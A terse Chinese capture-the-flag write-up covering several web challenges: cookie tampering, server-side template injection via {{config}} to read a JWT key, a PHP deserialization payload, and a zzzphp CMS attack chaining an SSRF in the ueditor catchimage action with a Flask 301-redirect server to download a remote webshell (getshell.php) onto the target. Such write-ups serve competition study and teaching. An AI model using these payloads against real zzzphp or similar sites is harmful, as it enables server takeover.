尖尖的商店
改COOKIE一把梭
尖尖的商店2
jwt解密可以看到价钱,之前给了源码,大概就是在访问不存在的路径时候referer可以造成ssti
{{config}}读key
jwt加密一把梭
Easy-baby-signin
url是hex – base64 – base64
改成index拿到源码,拿到magicword.txt
简单的反序列化
<?php class icanhear {var $mykey; var $myword;} $a = new icanhear(); $a->mykey=&$a->myword; echo serialize($a);
类似原理可以去看一下[BJDCTF2020]Mark loves cat
WEB几?
zzzphp
一共两个洞,一个是ssrf下载远程shell,另一个是eval处可以模板注入造成任意命令执行
先说SSRF
功能实现在
传入的post参数进入safe_url函数进行处理,然后传入down_url函数。这里safe_url函数作用不大,主要是在down_url中的逻辑。
在down_url函数逻辑中根据url获取了保存的文件名和后缀,并且进行了文件名后缀的白名单限制和检测。
发现file_ext函数。将URL以?分隔。然后取第1个值。也就是http://127.0.0.1/1.jpg
然后以点截取后缀名。得到.jpg
继续看file_name函数。就是单纯的以/分隔。直接取1.jpg?1.php当文件名
这就造成了差异。因此利用SSRF达到任意地址访问需要利用301/302跳转实现,本地搭建一个提供跳转的http服务器,然后进行访问:
app = Flask(__name__) @app.route('/1.txt') def index(page_name=''): #return redirect('file:///etc/passwd', code=301) #not work return redirect('http://ip/getshell.php', code=301) if __name__ == '__main__': app.run(host='0.0.0.0', port=9000, debug=app.debug)
plugins/ueditor/php/controller.php?action=catchimage&upfolder=1
source[0]=http://VPS/1.jpg?1.php
访问ip/1/1.php拿到shell
参考:zzzcms(php) v1.7.5 前台SQL注入及其他
模板注入